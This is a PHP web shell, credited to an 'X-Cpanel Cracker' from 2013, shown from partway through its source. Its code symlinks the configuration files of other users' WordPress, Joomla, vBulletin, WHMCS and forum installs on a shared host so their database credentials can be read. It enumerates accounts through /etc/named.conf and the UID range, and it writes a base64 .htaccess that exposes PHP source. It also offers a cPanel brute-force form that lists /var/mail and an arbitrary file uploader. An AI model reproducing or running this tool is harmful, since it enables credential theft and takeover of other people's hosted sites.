  480.       symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  481.       symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  482.       symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  483.       symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  484.       symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  485.       symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  486.       symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  487.       symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  488.       symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  489.       symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  490.       symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  491.       symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  492.       symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  493.       symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  494.       symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  495.       symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  496.       symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  497.       symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  498.       symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  499.       symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  500.       symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  501.       symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  502.       symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  503.       symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  504.       symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  505.       symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  506.       symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  507.       symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  508.       symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  509.       symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  510.       symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  511.       symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  512.       symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  513.       symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  514.       symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  515.       symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  516.       symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  517.       symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  518.       symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  519.       symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  520.       symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  521.       symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  522.       symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  523.       symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  524.       symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  525.       symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  526.       symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  527.       symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  528.       symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  529.       symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  530.       symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  531.       symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  532.       symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  533.       symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  534.       symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  535.       symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  536.       symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  537.       symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  538.       symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  539.       symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  540.       symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  541.       symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  542.       symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  543.       symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  544.       symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  545.       symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  546.       symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  547.       symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  548.       symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  549.       symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  550.       symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  551.    }
  552.  
  553.             $d0mains = @file("/etc/named.conf");
  554.      
  555.             if($d0mains)
  556.             {
  557.                mkdir($fn);
  558.                chdir($fn);
  559.                              
  560.                foreach($d0mains as $d0main)
  561.                {
  562.                   if(eregi("zone",$d0main))
  563.                   {
  564.                      preg_match_all('#zone "(.*)"#', $d0main, $domains);
  565.                      flush();
  566.                        
  567.                      if(strlen(trim($domains[1][0])) > 2)
  568.                      {
  569.                         $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  570.                        
  571.                         syml($user['name'],$domains[1][0]);              
  572.                      }
  573.                   }
  574.                }
  575.                echo "<center><font color=lime size=3>[ Done ]</font></center>";
  576.                echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  577.             }
  578.             else
  579.             {
  580.                mkdir($fn);
  581.                chdir($fn);
  582.                $temp = "";
  583.                $val1 = 0;
  584.                $val2 = 1000;
  585.                for(;$val1 <= $val2;$val1++)
  586.                {
  587.                   $uid = @posix_getpwuid($val1);
  588.                   if ($uid)
  589.                      $temp .= join(':',$uid)."\n";
  590.                 }
  591.                 echo '<br/>';
  592.                 $temp = trim($temp);
  593.                
  594.                 $file5 = fopen("test.txt","w");
  595.                 fputs($file5,$temp);
  596.                 fclose($file5);
  597.  
  598. $htaccess =
  599. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  600. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  601. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  602. ';
  603. $file = fopen(".htaccess","w+");
  604. $write = fwrite ($file ,base64_decode($htaccess));
  605.                
  606.                 $file = fopen("test.txt", "r") or exit("Unable to open file!");
  607.                 while(!feof($file))
  608.                 {
  609.                   $s = fgets($file);
  610.                   $matches = array();
  611.                   $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  612.                   $matches = str_replace("home/","",$matches[1]);
  613.                   if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  614.                      continue;
  615.                   syml($matches,$matches);
  616.                 }
  617.                fclose($file);
  618.                echo "</table>";
  619.                unlink("test.txt");
  620.                echo "<center><font color=lime size=3>[ Done ]</font></center>";
  621.                echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  622.             }
  623. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."><< BACK</a>";
  624. exit;
  625. }
  626. ?>
  627. <form method="POST" target="_blank">
  628.    <strong>
  629. <input name="page" type="hidden" value="find"><table>                  
  630.     </strong><br><br><center><font size="3" align="center" style="italic" color="#00ff00">+--=[ Cpanel BruteForce ]=--+</font></center><br>
  631.     <table width="600" border="0" class="tabnet" cellpadding="3" cellspacing="1" align="center">
  632.    <tr>
  633.    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  634.    <center><b><font size="3" style="italic" color="#00ff00">[ Cpanel Brute Force ]</font></b></center></td></tr>
  635.     <tr>
  636.     <td>
  637.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  638.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  639.    <strong>Username List :</strong></td>
  640.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
  641.     </tr>
  642.     <tr>
  643.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  644.    <strong>Password List :</strong></td>
  645.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
  646.     </tr>
  647.     <tr>
  648.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  649.    <strong>Type :</strong></td>
  650.     <td valign="top" bgcolor="#151515" colspan="5">
  651.     <span class="style2"><strong>Simple : </strong> </span>
  652.    <strong>
  653.    <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  654.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  655.    <strong>
  656.    <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  657.    </strong>
  658.    </span>
  659.     </td>
  660.     </tr>
  661.     <tr>
  662.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  663.     <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class ='inputzbut' type="submit" value="Start">
  664.     </strong>
  665.     </td>
  666.     <tr>
  667. </form>
  668. <tr>
  669.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Get Config ]</strong></center></td>
  670.                 </tr>
  671. <form method="POST" target="_blank">
  672.    <strong>
  673. <input name="mendapatkan" type="hidden" value="passwd">                    
  674.     </strong>
  675.     <tr>
  676.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
  677.     <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="50" name="foldername" type="text"></strong></td>
  678.    </strong>
  679.     </td>
  680.     </tr>
  681.     <tr>
  682.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  683.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  684.     </strong>
  685.     </td>
  686.     <tr>
  687. </form>  
  688. <tr>
  689.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Get Wordlist ]</strong></center></td>
  690.                 </tr>
  691. <form method="POST" target="_blank">
  692.    <strong>
  693. <input name="pass" type="hidden" value="password">                    
  694.     </strong>
  695.     <tr>
  696.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
  697.     <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="50" name="url" type="text" value="http://www."></strong></td>
  698.    </strong>
  699.     </td>
  700.     </tr>
  701.     <tr>
  702.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  703.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  704.     </strong>
  705.     </td>
  706.     <tr>
  707. </form>
  708. <tr>
  709.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Info
  710.    Security ]</strong></center></td>
  711.                 </tr>
  712.     <tr>
  713.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  714.     <td valign="top" bgcolor="#151515" colspan="5">
  715.    <strong>
  716. <?php
  717. $safe_mode = ini_get('safe_mode');
  718. if($safe_mode=='1')
  719. {
  720. echo 'ON';
  721. }else{
  722. echo 'OFF';
  723. }
  724.  
  725. ?>  
  726.    </strong>  
  727.    </td>
  728.                 </tr>
  729.     <tr>
  730.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
  731.     <td valign="top" bgcolor="#151515" colspan="5">
  732.    <strong>
  733. <form method="POST" target="_blank">
  734.    <strong>
  735. <input name="matikan" type="hidden" value="sekatan">                    
  736.     </strong>
  737.  
  738. <?php
  739. if(''==($func=@ini_get('disable_functions')))
  740. {
  741. echo "<font color=#00ff00>No Security for Function</font></b>";
  742. }else{
  743. echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
  744. echo "<font color=red>$func</font></b>";
  745. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  746. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  747.    </strong>
  748.    </td></tr>';
  749. }
  750. ?></strong></td></tr></table></table></table>
  751. <?
  752. break;
  753.  
  754. #########################bds
  755.  
  756. case '':
  757.  
  758. ?><?php
  759.  
  760. break;
  761.  
  762.  
  763. // Uploader
  764. case 'uploader':
  765.  
  766. echo '<center><b>+--=[ Uploader ]=--+</b><br><br><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  767. echo '<center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';
  768. if( $_POST['_upl'] == "Upload" ) {
  769.    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><font face="Verdana"
  770.  
  771. size="1"><font color="white"> Done !!</font><br>'; }
  772.    else { echo '<font color="#FF0000">Failed :( </font></p>
  773.   </td></table></tr>
  774.  
  775. '; }
  776. }
  777. break;
  778.  
  779. }}
  780. ?><br><br><br><center><form action='' method='post'>
  781. <table class='tabnet' style='width:650px;' border=''>
  782. <th colspan=10>Security Info</th><tr>
  783. <td>System </td>
  784. <td><?php
  785. echo php_uname();?></td>
  786. </tr>
  787.  <tr>
  788.     <td valign="top" bgcolor="" style="width: 139px">Safe Mode</td>
  789.     <td valign="top" bgcolor="" colspan="5">
  790. <?php
  791. $safe_mode = ini_get('safe_mode');
  792. if($safe_mode=='1')
  793. {
  794. echo 'ON';
  795. }else{
  796. echo 'OFF';
  797. }
  798.  
  799. ?>  
  800.    </td>
  801.                 </tr>
  802.                  <tr>
  803.     <td valign="top" bgcolor="" style="width: 139px">Desible Function</td>
  804.     <td valign="top" bgcolor="" colspan="5">
  805.  
  806. <form method="POST" target="_blank">
  807.  
  808. <input name="matikan" type="hidden" value="sekatan">                    
  809.  
  810.  
  811. <?php
  812. if(''==($func=@ini_get('disable_functions')))
  813. {
  814. echo "<font color=#00ff00>No Security for Function</font></b>";
  815.  
  816. }else{
  817. echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
  818. echo "<font color=red>$func</font></b>";
  819. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  820. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  821.    </td></tr>';
  822. }
  823. ?><tr>
  824.  
  825. </table></form></center>
  826. <center><br><br><b><div class="info">-=[ X-Cpanel Cracker by <span class="gaya"><a href="http://facebook.com/Muhammad.anwar.karashi">IST</a></span> ]=-</div>
  827. <div class="jaya">  &copy; 2013 R4ST4_R00T ( indonesian Security Tester )</div></center></b><br><br>
  828.  
  829. </body></html>
Add Comment
Please, Sign In to add comment